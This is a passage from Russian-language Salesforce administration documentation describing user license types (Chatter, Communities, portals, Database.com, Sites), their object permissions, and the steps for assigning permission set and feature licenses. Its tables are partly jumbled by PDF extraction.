пользователям Chatter Plus доступ к соответствующим вкладкам. Дополнительнуюинформациюопользователях Chatter
Plus см. в документе «Chatter Plus. Вопросы и ответы».

Общие сведения о лицензиях Chatter

В данной таблице перечисленыфункции, доступные владельцам лицензий Chatter External, Chatter Free и Chatter Only.

Chatter Only

(или Chatter Plus)

Chatter FreeChatter External

(Доступ ограничивается
элементами и
пользователями групп, в
которые приглашены
клиенты.)

Функция

Клиент Chatter Desktop

Пользователямзагружаемых
приложений недоступны

Использованиемобильного
приложения Salesforce1

(Загружаемые приложения
требуют наличия списковые представления

«Группы» и «Люди».полномочия профиля «API
включен».)

Ленты

Предоставление общего
доступа к файлам

Группы
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Chatter Only

(или Chatter Plus)

Chatter FreeChatter External

(Доступ ограничивается
элементами и
пользователями групп, в
которые приглашены
клиенты.)

Функция

Только клиенты,
являющиеся менеджерами

Приглашения на участие в
группах

групп, могут приглашать
пользователей Chatter из
доступных групп или
внешних пользователей
Chatter.

Профили

Темы и хэштеги

Личные сообщения

Результатыпоиска содержат
только элементы, доступные
клиентампосредствомгрупп.

Глобальный поиск

Не более 10 настраиваемых
объектов

Настраиваемые объекты

Только для чтения

Организации и контакты

Календарь и события

Библиотека Salesforce CRM
Content

Идеи и ответы

Отчеты и панели
мониторинга

Задачи и действия

Использование и
утверждение бизнес-правил
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Лицензии пользователя сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Developer Edition и
Enterprise Edition.

Система поддерживает три лицензии сообществ для внешних пользователей: Customer
Community, Customer Community Plus и Partner Community.

Лицензия Customer Community аналогична лицензии «Массовый клиентский портал» и
предназначается сообществам типа «Бизнес для потребителя», содержащим большое
количество внешних пользователей.Лицензия Customer Community Plus аналогична
лицензии «Клиентский портал: управление предприятием» и предназначается
сообществам типа «Бизнес для потребителя», пользователям которых требуется
неограниченное количество входов для управления службой поддержки. Лицензия
Partner Community аналогична лицензии «Золотой партнер» и предназначается
сообществам типа «Бизнес для бизнеса» (например, партнерское сообщество).

Помимо новых лицензий, сообщества поддерживают все внутренние лицензии и
лицензии портала, включая текущие лицензии клиентского портала, лицензии «Проверенный веб-узел» и лицензии
партнерского портала. Сообщества не поддерживают лицензию Chatter External.

Лицензии на сообщества назначаются пользователям, а не отдельному сообществу. Данные лицензии позволяют
пользователям перемещаться между сообществами. Кроме того, неиспользованные лицензии могут быть назначены
пользователям любого сообщества организации.

ЛицензииCustomer Community, Customer Community PlusиPartner Communityдоступныкаклицензиинаосновеежемесячных
входов. Эти лицензии называются «Лицензия для входа в сообщество клиентов», «Лицензия для входа в сообщество
клиентов плюс» и «Лицензия для входа в сообщество партнеров». Другими словами, лицензия учитывает каждый вход
пользователя в сообщество, но не учитывает переключения вошедшего пользователя между сообществами.
Неиспользованные лицензии аннулируются в конце месяца.Лицензия сообщества на основе входов, назначенная
пользователю, которыйполучаетдоступк сообществампосредствомприложенияSalesforce1, учитывает входыприпервом
входе пользователя или истечении времени сеанса.

Чтобы избежать ошибок развертывания и снижения качества обслуживания, рекомендуем отслеживать количество
пользователей сообщества, котороене должнопревышатьперечисленныхнижеограничений. Чтобыувеличить данные
ограничения, обратитесь к менеджеру по работе с клиентами Salesforce. Превышение данных ограничений может
инициировать повышение текущих платежей и снижение производительности.

Количество пользователейТип сообщества

300,000Partner Community или Customer Community Plus

10 миллионовCustomer Community

Каждое сообществоподдерживаетодинсвязанныйсайт Site.com, позволяющийдополнять сообществонастраиваемыми
фирменнымистраницами.Полномочие «Созданиеинастройка сообществ» автоматическипредоставляетпользователям
сообществ полный доступ администратора к сайтам Site.com сообщества. При отсутствии данного полномочия
пользователисообществмогутредактировать сайтытолькопослеприобретенияиназначениялицензии Site.com Publisher
или Site.com Contributor, а также назначения роли на уровне сайта.

Данная таблица содержит функции, доступные пользователям при наличии лицензии Customer Community, Customer
Community Plus или Partner Community.

Partner CommunityCustomer Community PlusCustomer Community

Стандартные объекты Salesforce
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Partner CommunityCustomer Community PlusCustomer Community

Чтение, создание,
редактирование

Чтение, создание,
редактирование

«Чтение» и «Редактирование»1

Организации

Чтение, создание,
редактирование

Чтение, создание,
редактирование

Чтение, создание,
редактирование

Активы

Чтение, создание и
редактирование (требуется

Кампании

полномочие «Пользователь
Marketing»)2

Чтение, создание,
редактирование

Чтение, создание,
редактирование

Чтение, создание,
редактирование3

Обращения

Отключено по умолчанию

Контакты

Контракты

Чтение, создание,
редактирование

Чтение, создание,
редактирование

Чтение, создание,
редактирование

Права

События и календарь

Чтение, создание,
редактирование

Чтение, создание,
редактирование

Чтение, создание,
редактирование

Идеи

Интересы

Только в связанном списке
«Вложения» для обращений

5

Применимы некоторые
исключения 4

Примечания и вложения

Возможности

Заказы 6

Только для чтенияТолько для чтенияТолько для чтения

Прайс-листы
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Partner CommunityCustomer Community PlusCustomer Community

Только для чтенияТолько для чтенияТолько для чтения

Продукты

Сметы

Только для чтения (по
умолчанию)

Только для чтения (по
умолчанию)

Отчеты и панели
мониторинга

Создание и редактирование
(требуется полномочия

пользователя)7

Создание и редактирование
(требуется полномочия

пользователя)7

Чтение, создание,
редактирование

Чтение, создание,
редактирование

Сервисные контракты

Чтение, создание,
редактирование

Чтение, создание,
редактирование

Только для чтения

Задачи

Функции, возможности и настраиваемые объекты Salesforce

5 Мб на участника (лицензия
на основе участников)

1 Мб на участника (лицензия
на основе входов)

2 Мб на участника (лицензия
на основе участников)

1 Мб на участника (лицензия
на основе входов)

Дополнительное
хранилище

Chatter (люди, группы,
ленты, файлы, личные
сообщения)

Прим.: Функция
Salesforce Files Sync
недоступна для
сообществ.

Chatter Answers

Просмотр и загрузкаПросмотр и загрузка

Содержимое (слицензией
на компонент Salesforce
CRM Content)

Только для просмотраТолько для просмотра

Содержимое (без
лицензии на компонент
Salesforce CRM Content)
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Partner CommunityCustomer Community PlusCustomer Community

10 настраиваемых объектов
на лицензию (данное

10 настраиваемых объектов
на лицензию (данное

10 настраиваемыхобъектовна
лицензию (данное

Настраиваемые объекты

ограничение не учитываетограничение не учитываетограничение не учитывает
настраиваемые объекты,настраиваемые объекты,настраиваемые объекты,
доступные в управляемых

пакетах)
доступные в управляемых

пакетах)
доступные в управляемых

пакетах)

Делегированное
администрирование

Только для чтенияТолько для чтенияТолько для чтения

База знаний

Роли и общий доступ

Мобильное приложение
Salesforce1

Отправка эл. почты

Утверждения
бизнес-правил

Прим.:

• 1 Для лицензии сообщество клиентов доступ на чтение и изменение имеется только для собственной учетной
записи пользователя. Вы можете распространить доступ на другие учетные записи при помощи наборов для
совместного использования.

• 2Чтение, созданиеиредактированиекампанийвпользовательскоминтерфейседоступнообладателямлицензии
«Партнерское сообщество» только при наличии полномочия «Пользователь Marketing». Данные полномочия
позволяютпользователю-партнеру: находитьидобавлятьконтактыилиинтересывкачествеучастниковкампании,
просматривать отчеты по кампаниям и выполнять пакетную электронную рассылку или пакетное назначение
контактов и интересов для кампании.

• 3 Лицензии «Сообщество клиентов» не позволяют создавать обращения от лица другого пользователя.

• 4 Лицензия «Сообщество клиентов» позволяет осуществлять доступ для большинства объектов «Заметки» и
«Вложения» по умолчанию. Для организаций и контактов этот доступ определяется датой создания вашей
организации. Есливашипользователислицензией «Сообществоклиентов»немогутполучитьдоступкразделам
«Заметки» и «Вложения» для организаций и контактов, следует обратиться к представителю Salesforce.

• 5Длялицензий «Пользовательскоесообществоплюс»вложениядоступнытольковсвязанномсписке «Вложения»
для обращений. Примечания не поддерживаются.

• 6Включениезаказовинициируетавтоматическоедополнениестандартныхпрофилейвсемисоответствующими
полномочиями, а такжедоступомдлячтенияпродуктовипрайс-листов. Еслистандартныйпрофильназначается
внешнимпользователям, которымнетребуютсяданныеполномочияобъекта, рекомендуемсоздатьнастраиваемые
профили без данных полномочий.
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• 7Длялицензий «Пользовательскоесообществоплюс»и «Партнерскоесообщество»пользователидолжныиметь
полномочия «Создание и настройка отчетов», «Конструктор отчетов» и «Редактирование моих отчетов», чтобы
создавать и редактировать отчеты. Дополнительные сведения см. в разделе «Настройка функции управления
отчетами для внешних пользователей: создание и редактирование отчетов».

СМ. ТАКЖЕ:

Общие сведения о лицензиях пользователя

Лицензии пользователя «Проверенный веб-узел»

Лицензии пользователя партнерского портала

Лицензии пользователя клиентского портала

Ограничения для хранилищ данных и файлов

Лицензии пользователя Database.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Database.com Edition.

Стандартное
количество
доступных
лицензий

ОписаниеЛицензия пользователя

Database.com
Edition: 3

Данная лицензия предназначается
пользователям, которымтребуетсядоступ
для администрированияDatabase.comили
изменения схем Database.com и других

Администратор
Database.com

метаданных посредством интерактивных
инструментов на консоли Database.com.

Database.com
Edition: 3

Enterprise
Edition,

Данная лицензия предназначается
пользователям, которым требуется
Database.com-доступ к данным,
хранящимся в Database.com.

Пользователь Database.com

Unlimited
Edition и
Database.com
Edition: 0

Чтобы
приобрести
лицензии
«Пользователь
Database.com»,
обратитесь в
Database.com.

Database.com
Edition: 0

Enterprise
Edition,

Данная лицензия предназначается
пользователям, которымтребуется только
Database.com-доступ к данным и
принадлежность к группам Database.com
(но не другим группам), но не требуется

Пользователь Database.com
Light
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Стандартное
количество
доступных
лицензий

ОписаниеЛицензия пользователя

Unlimited Edition и
Database.com
Edition: 0

принадлежность к ролям или очередям. Доступ к данным
определяетсяединымистандартнымипараметрамиобщего
доступа.

Чтобыприобрести
лицензии
«Пользователь
Database.com Light»,
обратитесь в
Database.com.

СМ. ТАКЖЕ:

Общие сведения о лицензиях пользователя

Лицензии пользователя портала Service Cloud

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Пользователям портала Service Cloud предоставляется лицензия «Массовый клиентский
портал». Даннаялицензияпредоставляет контактамнеограниченноеколичество входов
на портал Service Cloud для получения доступа к сведениям службы поддержки. В
зависимостиотпараметровполномочий, даннаялицензияпредоставляетпользователям
доступ к организациям, активам, обращениям, контактам, настраиваемым объектам,
документам, идеям и вопросам.

Лицензия «Массовый клиентский портал (избыток)» аналогична лицензии «Массовый
клиентский портал», кроме неограниченного количества входов. Дополнительную
информацию о количестве лицензий клиентского портала, доступных для активации,
можно получить в компании Salesforce.

Втаблиценижеперечисленыполномочия, которыемогутбытьназначеныпользователям
портала Service Cloud.

УдалениеОбновлениеЧтениеСоздание

Организации

Активы

Обращения

Контакты

Настраиваемые объекты

Документы

Идеи

База знаний
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УдалениеОбновлениеЧтениеСоздание

Прайс-листы

Продукты

Вопросы и ответы

Решения

СМ. ТАКЖЕ:

Общие сведения о лицензиях пользователя

Лицензии пользователя Sites и Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступные версии
определяются текущим
типом лицензии
пользователя.

ПользователямSitesиSite.comдоступнытольколицензии «Пользователь-гость»иSite.com
Only.

Данная лицензия предназначается общедоступным пользователям,
которым требуется доступ к сайтам Site.com или Force.com. Если
организация использует сообщества, то данным пользователям также
предоставляется доступ к общедоступным страницам сообществ.
Посетители сайта получают доступ к любым сведениям, доступным на
активном общедоступном сайте. Каждая лицензия «Пользователь-гость»
позволяет создать один сайт.

Site.com, а также версии Developer Edition, Enterprise Edition, Unlimited
EditionиPerformance Edition, поддерживаютнеограниченноеколичество
лицензий «Пользователь-гость».

Пользователь-гость

Сайты Force.com, а также версии Enterprise Edition, Unlimited Edition и
Performance Edition, поддерживают 25 лицензий «Пользователь-гость».
Версия Developer Edition поддерживает одну лицензию
«Пользователь-гость».

Прим.:

• Дополнительныелицензии «Пользователь-гость»немогутбыть
приобретены для сайтов Force.com.

• Лицензия пользователя массового портала «Проверенный
веб-узел» предназначена для использования сайтов Force.com.
Данная лицензия обеспечивает не только массовое, но и
экономичное использование сайтов Force.com.

Данная лицензия предназначается пользователям версий Performance
Edition, Unlimited Edition и Enterprise Edition, которым требуется доступ

Site.com
Only

к Site.com, ноне требуется доступк стандартнымфункциям CRM. Лицензия
Site.com Only предоставляет пользователям полномочия пользователей
Force.com — One Appидоступкприложению «Содержимое». Темнеменее,
они не могут просматривать объекты «Организации» и «Контакты».
Лицензия предоставляет пользователям доступ к неограниченному
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количеству настраиваемых вкладок, но доступ ограничивается одним настраиваемым приложением,
содержащим не более 20 настраиваемых объектов.

Каждому пользователю Site.com Only должна быть предоставлена лицензия Site.com Contributor или
Site.com Publisher для доступа к Site.com.

СМ. ТАКЖЕ:

Общие сведения о лицензиях пользователя

Лицензии пользователя «Проверенный веб-узел»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Пользователям портала Platform предоставляется лицензия «Проверенный веб-узел»,
которая предназначается для использования Force.com Sites. Данная лицензия
предоставляетименованнымпользователямсайтовнеограниченноеколичествовходов
на портал Platform для получения доступа к сведениям службы поддержки.

Лицензия «Проверенный веб-узел (избыток)» аналогична лицензии «Проверенный
веб-узел», кроме неограниченного количества входов.

Прим.: Включениезаказовинициируетавтоматическоедополнениестандартных
профилей всеми соответствующимиполномочиями, а также доступомдля чтения
продуктов и прайс-листов. Если стандартный профиль назначается внешним
пользователям, которым не требуются данные полномочия объекта, рекомендуем
создать настраиваемые профили без данных полномочий.

В таблице ниже перечисленыполномочия, которыемогут быть предоставленыпользователям лицензии «Проверенный
веб-узел».

УдалениеОбновлениеЧтениеСоздание

Контракты

Документы

Идеи

База знаний

Заказы

Прайс-листы

Продукты

Настраиваемые объекты

СМ. ТАКЖЕ:

Общие сведения о лицензиях пользователя
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Лицензии пользователя клиентского портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Пользователям сайта «Клиентский портал» предоставляется лицензия «Менеджер
клиентского портала: стандартный».

Прим.: Начиная с выпуска Summer'13 данные лицензии доступны только
организациям, которые уже используют клиентский портал. Дополнительную
информациюопредоставленииклиентамобщегодоступакданнымприотсутствии
клиентскогопорталасм. вразделе «Лицензиипользователясообществ»настранице
545.

Данная лицензия предоставляет контактам вход на клиентский портал для управления
службой поддержки.Пользователи с лицензией «Менеджер клиентского портала:
стандартный» могутбыть связаныспрофилем «Пользователь клиентскогопортала» или
профилем, созданным и настроенным на основе профиля «Пользователь клиентского
портала». Данный стандартныйпрофильпозволяет пользователямпросматриватьи редактировать собственные данные
илиданные, принадлежащиеилидоступныенижестоящимпользователямвиерархииролейклиентскогопортала. Данные
пользователимогут такжепросматриватьиредактироватьобращения, поле «Имя контакта» которыхсодержитихимена.

Ниже перечислены действия, доступные пользователям с лицензией «Менеджер клиентского портала: стандартный».

• Просмотр контактов, прайс-листов и продуктов.

• Просмотр и редактирование организаций и обращений.

• Создание и редактирование активов.

• Создание, просмотр, редактирование и удаление настраиваемых объектов.

• Доступ к настраиваемым объектам, в зависимости от полномочий.

• Получение полномочия «Суперпользователь портала».

• Доступ к Salesforce CRM Content при наличии лицензии на компонент Salesforce CRM Content или соответствующих
полномочий.

Лицензия «Менеджер клиентского портала: стандартный (избыток)» аналогична лицензии «Менеджер клиентского
портала: стандартный», кроме ограничения, равного одному входу в месяц.

Прим.: Включение заказов инициирует автоматическое дополнение стандартных профилей всеми
соответствующими полномочиями, а также доступом для чтения продуктов и прайс-листов. Если стандартный
профиль назначается внешним пользователям, которым не требуются данные полномочия объекта, рекомендуем
создать настраиваемые профили без данных полномочий.

В таблице ниже перечислены полномочия, которые могут быть предоставлены пользователям клиентского портала.

УдалениеОбновлениеЧтениеСоздание

Организации

Активы

Обращения

Контакты

Контракты

Настраиваемые объекты

Документы

553

Общие сведения о лицензияхНастройка и обслуживание организации Salesforce



УдалениеОбновлениеЧтениеСоздание

Идеи

База знаний

Заказы

Прайс-листы

Продукты

Reports and Dashboards 1

Решения

Вопросы и ответы

Прим.:

• 1 To create and edit reports in communities, the user also needs the “Create and Customize Reports,” “Report Builder,” and
“Edit My Reports” permissions. These permissions allow users to create and edit reports in communities, not portals. By default,
reports and dashboards are read-only. For more information see, Set Up Report Management for External Users—Create and
Edit Reports.

СМ. ТАКЖЕ:

Общие сведения о лицензиях пользователя

Лицензии пользователя «Клиентский портал: управление предприятием»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Пользователям «Клиентский портал: управление предприятием» предоставляется
лицензия «Менеджер клиентского портала: настраиваемый». Данная лицензия
предоставляет контактам неограниченное количество входов на клиентский портал
Salesforce для управления службой поддержки.

Прим.: Начиная с выпуска Summer'13 данные лицензии доступны только
организациям, которые уже используют клиентский портал. Дополнительную
информациюопредоставленииклиентамобщегодоступакданнымприотсутствии
клиентскогопорталасм. вразделе «Лицензиипользователясообществ»настранице
545.

Пользователислицензией «Менеджерклиентскогопортала: настраиваемый» могутбыть
связаны с профилем «Пользователь клиентского портала» или профилем, созданным
и настроенным на основе профиля «Пользователь клиентского портала», который позволяет просматривать и
редактировать собственныеданные, а такжепросматривать, создаватьиредактироватьобращения, поле «Имя контакта»
которых содержит их имена.

Ниже перечислены действия, доступные пользователям с данной лицензией.

• Создание, чтение или обновление организаций, активов и обращений.

• Просмотр контактов.

• Просмотр настраиваемых объектов и запуск отчетов, в зависимости от полномочий.
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• Получениеполномочий «Суперпользовательпортала» и «Делегированныйадминистраторвнешнихпользователей».

• Доступ к Salesforce CRM Content при наличии лицензии на компонент Salesforce CRM Content или соответствующих
полномочий.

Лицензия «Менеджер клиентского портала: настраиваемый (избыток)» аналогична лицензии «Менеджер клиентского
портала: настраиваемый», кроме неограниченного количества входов. Дополнительную информацию о количестве
лицензий клиентского портала, доступных для активации, можно получить в компании Salesforce.

Прим.: Включение заказов инициирует автоматическое дополнение стандартных профилей всеми
соответствующими полномочиями, а также доступом для чтения продуктов и прайс-листов. Если стандартный
профиль назначается внешним пользователям, которым не требуются данные полномочия объекта, рекомендуем
создать настраиваемые профили без данных полномочий.

В таблице ниже перечислены полномочия, которые могут быть предоставлены пользователям лицензии «Клиентский
портал: управление предприятием».

УдалениеОбновлениеЧтениеСоздание

Организации

Активы

Обращения

Контакты

Контракты

Настраиваемые объекты

Документы

Идеи

База знаний

Заказы

Прайс-листы

Продукты

Reports and Dashboards 1

Решения

Вопросы и ответы

Прим.:

• 1 To create and edit reports in communities, the user also needs the “Create and Customize Reports,” “Report Builder,” and
“Edit My Reports” permissions. These permissions allow users to create and edit reports in communities, not portals. By default,
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reports and dashboards are read-only. For more information see, Set Up Report Management for External Users—Create and
Edit Reports.

СМ. ТАКЖЕ:

Общие сведения о лицензиях пользователя

Лицензии пользователя партнерского портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Пользователям партнерского портала предоставляется лицензия «Золотой партнер».
Система Salesforce доступна им только на партнерском портале.

Прим.:

• Начиная с выпуска Summer'13 данная лицензия недоступна организациям,
которые не используют партнерский портал. Дополнительнуюинформацию
о предоставлении партнерам общего доступа к данным при отсутствии
партнерского портала см. в разделе «Лицензии пользователя сообществ» на
странице 545.

• Включение заказов инициирует автоматическое дополнение стандартных
профилей всеми соответствующими полномочиями, а также доступом для
чтения продуктов и прайс-листов. Если стандартный профиль назначается
внешним пользователям, которым не требуются данные полномочия объекта,
рекомендуем создать настраиваемые профили без данных полномочий.

В таблице ниже перечислены полномочия, которые могут быть предоставлены пользователям партнерского портала.

УдалениеОбновлениеЧтениеСоздание

Организации

Утверждения

Активы

Кампании1

Обращения

Контакты

Контракты

Настраиваемые объекты

Документы

Идеи

База знаний

Интересы

Возможности
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УдалениеОбновлениеЧтениеСоздание

Заказы

Прайс-листы

Продукты

Отчеты и панели мониторинга2

Решения

Вопросы и ответы

Прим.:

• 1 Пользователь партнерского портала может создавать и редактировать кампании в сообществе, но не на
устаревшем портале. Чтение, создание и редактирование кампаний в пользовательском интерфейсе доступно
обладателям лицензии «Партнерское сообщество» только при наличии полномочия «Пользователь Marketing».
Данныеполномочияпозволяютпользователю-партнеру: находитьидобавлятьконтактыилиинтересывкачестве
участников кампании, просматривать отчеты по кампаниям и выполнять пакетную электронную рассылку или
пакетное назначение контактов и интересов для кампании.

• 2Чтобысоздаватьиредактироватьотчетывсообществах, пользователютакженеобходимыразрешения «Создание
и настройка отчетов», «Построитель отчетов» и «Редактирование моих отчетов». Эти разрешения позволяют
пользователям создавать и редактировать отчеты в сообществах, а не на порталах. По умолчанию отчеты и
панели мониторинга используются только для чтения. Дополнительные сведения см. в разделе «Настройка
функции управления отчетами для внешних пользователей: создание и редактирование отчетов».

СМ. ТАКЖЕ:

Общие сведения о лицензиях пользователя

Лицензии набора полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступность каждой
лицензии набора
полномочий определяется
доступными версиями для
наборов полномочий и
связанных функций.

Набор полномочий — это удобный способ назначения параметров и полномочий для
предоставления пользователям доступа к различным инструментам и функциям.

Лицензии набора полномочий
Лицензии набора полномочийпредоставляют пользователям постепенный доступ
к функциям, которые не поддерживаются текущими лицензиями пользователей.
Пользователям может быть назначено любое количество лицензий набора
полномочий.

Доступные лицензии набора полномочий
Просмотрите поддерживаемые полномочия для каждой лицензии набора
полномочий, доступной для приобретения.

Просмотр лицензий набора полномочий организации
Чтобыопределитькомпоненты, доступныедляназначенияпользователям, просмотрителицензиинабораполномочий,
приобретенные организацией.
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Назначение лицензии набора полномочий пользователю
Некоторыеполномочиямогутбытьназначенытолькопосленазначенияпользователюлицензиинабораполномочий
и последующего добавления полномочий в наборы полномочий.

Удаление лицензии набора полномочий
Преждечемудалитьназначеннуюлицензиюнабораполномочий, рекомендуемудалитьилиизменитьсоответствующие
назначенные наборы полномочий.

СМ. ТАКЖЕ:

Поиск сведений о компании

Лицензии набора полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступность каждой
лицензии набора
полномочий определяется
доступными версиями для
наборов полномочий и
связанных функций.

Лицензии набора полномочий предоставляют пользователям постепенный доступ к
функциям, которые не поддерживаются текущими лицензиями пользователей.
Пользователямможетбытьназначенолюбоеколичестволицензийнабораполномочий.

Лицензиинабораполномочий являются дополнительными, поэтомуне ограничивают
доступные функции. Посредством таких лицензий можно назначать пользователям
дополнительные полномочия, не включенные в исходные лицензии.

Посленазначенияпользователюлицензиинабораполномочийрекомендуемназначить
данномупользователюсоответствующиеполномочияпосредствомнабораполномочий,
а не профиля.

Пример:

• Прежде чем назначить пользователю набор полномочий, содержащий
полномочие «Использование Identity Connect», рекомендуем назначить
пользователю лицензию набора полномочий «Identity Connect».

• ПреждечемназначитьпользователюслицензиейForce.comнаборполномочий,
содержащий полномочие «Чтение» или «Редактирование» для заказов,
рекомендуем назначить пользователю лицензию набора полномочий «Orders
Platform». Данныеполномочиямогутбытьназначеныпользователюслицензией
Salesforce без лицензии набора полномочий, так как уже являются частью
лицензии пользователя.

СМ. ТАКЖЕ:

Лицензии набора полномочий
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Доступные лицензии набора полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступность каждой
лицензии набора
полномочий определяется
доступными версиями для
наборов полномочий и
связанных функций.

Просмотритеподдерживаемыеполномочиядлякаждойлицензиинабораполномочий,
доступной для приобретения.

Доступные полномочия
объекта

Доступные полномочия
пользователя

Лицензия набора
полномочий

«Создание» и «Чтение» для
обращений

«Разрешить просмотр базы
знаний»

Employee Community User
для Force.com

“«Локальная версия Files
Connect»

Files Connect для
локальных внешних
источников данных

«Использование Identity
Connect»

Identity Connect

«Создание», «Чтение»,
«Редактирование» и

Orders Platform • «Активация контрактов»

• «Удаление
активированных
контрактов»

«Удаление» для следующих
объектов:

• Контракты
• «Активация заказов»

• Прайс-листы
• «Редактирование

активированныхзаказов» • Продукты

• Заказы• «Созданиесокращенных
заказов»

«Sales Console»Пользователь Sales Console

СМ. ТАКЖЕ:

Назначение лицензии набора полномочий пользователю

Полномочия пользователя

Назначение наборов полномочий отдельному пользователю

Лицензии набора полномочий

559

Общие сведения о лицензияхНастройка и обслуживание организации Salesforce



Просмотр лицензий набора полномочий организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра лицензий
набора полномочий:
• «Просмотр настройки и

конфигурации»

Чтобыопределитькомпоненты, доступныедляназначенияпользователям, просмотрите
лицензии набора полномочий, приобретенные организацией.

1. Введите строку «Сведения о компании» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Сведения о компании».

2. Просмотрите связанный список «Лицензии набора полномочий».

Дополнительнуюинформациюоприобретениилицензийнабораполномочийможно
получить в компании Salesforce.

СМ. ТАКЖЕ:

Лицензии набора полномочий

Доступные лицензии набора полномочий

Назначение лицензии набора полномочий пользователю

Назначение лицензии набора полномочий пользователю

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения лицензии
набора полномочий:
• «Управление

пользователями»

Некоторыеполномочиямогут быть назначены толькопосле назначенияпользователю
лицензии набора полномочий и последующего добавления полномочий в наборы
полномочий.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Щелкните имя нужного пользователя.

3. Нажмите кнопку «Редактировать назначения» в связанном списке «Назначения
лицензии набора полномочий».

4. Выберите нужнуюлицензиюнабора полномочийинажмите кнопку «Сохранить».

Посленазначенияпользователюлицензиинабораполномочийрекомендуемдобавить
связанное полномочие в набор полномочий и назначить данный набор полномочий
пользователю.

СМ. ТАКЖЕ:

Лицензии набора полномочий

Удаление лицензии набора полномочий

Наборы полномочий

Назначение наборов полномочий отдельному пользователю
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Удаление лицензии набора полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления лицензии
набора полномочий:
• «Управление

пользователями»

Преждечемудалитьназначеннуюлицензиюнабораполномочий, рекомендуемудалить
или изменить соответствующие назначенные наборы полномочий.

1. Определитеполномочие, требующееналичиянужнойлицензиинабораполномочий.

2. Убедитесь, что полномочие не назначено пользователю посредством набора
полномочий. Выполните одно из указанных ниже действий.

• Удалите полномочие из наборов полномочий, назначенных пользователю.

• Удалитенаборполномочийизназначенныхнаборовполномочийпользователя.

3. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

4. Щелкните имя нужного пользователя.

5. Нажмите кнопку «Редактировать назначения» в связанном списке «Назначения
лицензии набора полномочий».

6. Снимите флажок напротив соответствующей лицензии набора полномочий.

7. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Лицензии набора полномочий

Просмотр лицензий набора полномочий организации

Назначение лицензии набора полномочий пользователю

Общие сведения о лицензиях на компоненты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступные версии
определяются каждой
текущей лицензией на
компонент.

Лицензиянакомпонентпредоставляетпользователюдоступкдополнительнойфункции,
которая не поддерживается текущей лицензией пользователя (например, Marketing или
Work.com). Пользователям может быть назначено любое количество лицензий на
компоненты.

• Просмотр лицензий на компоненты, включенных для организации

• Включение пользователей для использования функции

• Просмотр всех лицензий на компоненты, доступных в системе Salesforce

В зависимости от функций, включенных для организации, пользователям могут быть
назначены разные типы лицензий на компоненты.

СМ. ТАКЖЕ:

Просмотр и управление пользователями

Приобретение дополнительных лицензий для пользователей

Поиск сведений о компании

561

Общие сведения о лицензияхНастройка и обслуживание организации Salesforce



Просмотр лицензий на компоненты организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра лицензий на
компоненты:
• «Просмотр настройки и

конфигурации»

Чтобыопределитькомпоненты, доступныедляназначенияпользователям, просмотрите
лицензии на компоненты, приобретенные компанией.

1. Введите строку «Сведения о компании» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Сведения о компании».

2. Просмотрите связанный список «Лицензии на компонент».

Дополнительную информацию о приобретении лицензий на компоненты можно
получить в компании Salesforce.

СМ. ТАКЖЕ:

Общие сведения о лицензиях на компоненты

Доступные лицензии на компоненты

Включение лицензии на компонент для пользователя

Просмотр и управление пользователями

Приобретение дополнительных лицензий для пользователей

Включение лицензии на компонент для пользователя

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения лицензийна
компоненты:
• «Управление

внутренними
пользователями»

Функция может быть включена для пользователя организации при создании или
редактировании сведений о пользователе.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Щелкните имя нужного пользователя в списковом представлении пользователей.

3. Установитефлажокнапротивнужнойлицензиинастраницесведенийопользователе.

При необходимости установите флажки напротив нескольких лицензий.

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Редактирование пользователей

Добавление отдельного пользователя

Общие сведения о лицензиях на компоненты

Доступные лицензии на компоненты

Просмотр лицензий на компоненты организации
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Доступные лицензии на компоненты

ВЕРСИИ

Доступно в версиях:
